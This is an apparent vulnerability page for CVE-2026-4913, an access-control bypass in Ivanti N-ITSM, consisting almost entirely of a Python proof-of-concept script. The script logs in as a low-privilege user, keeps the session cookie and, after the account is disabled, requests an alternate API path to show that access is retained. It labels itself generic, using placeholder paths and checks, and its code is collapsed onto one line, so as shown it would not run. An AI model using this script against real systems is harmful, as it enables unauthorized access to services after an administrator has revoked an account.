CVE-2026-4913 Ivanti N-ITSM 访问控制绕过漏洞

import requests # This is a generic PoC for CVE-2026-4913 # It demonstrates that a disabled user can still access an alternate path using a valid session cookie. target_url = "https://<target-ip>/n-itsm/alternate_path_api" login_url = "https://<target-ip>/n-itsm/login" # Attacker's credentials (low privilege) username = "attacker_user" password = "password123" session = requests.Session() # Step 1: Perform login to get a valid session cookie login_payload = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful. Session cookie obtained.") # Step 2: Simulate the scenario where the account is disabled by admin print("[*] Simulating account disable by admin...") # In a real scenario, the admin disables the account here. # The attacker does not log out. # Step 3: Access the vulnerable alternate path using the old session print("[*] Attempting to access alternate path with disabled account...") vuln_headers = { "User-Agent": "Mozilla/5.0", "Referer": target_url } exploit_response = session.get(target_url, headers=vuln_headers) if exploit_response.status_code == 200 and "sensitive_data" in exploit_response.text: print("[!] EXPLOIT SUCCESSFUL: Access retained despite account being disabled.") print(f"[+] Response: {exploit_response.text[:200]}") else: print("[-] Exploit failed or patch applied.") else: print("[-] Login failed.")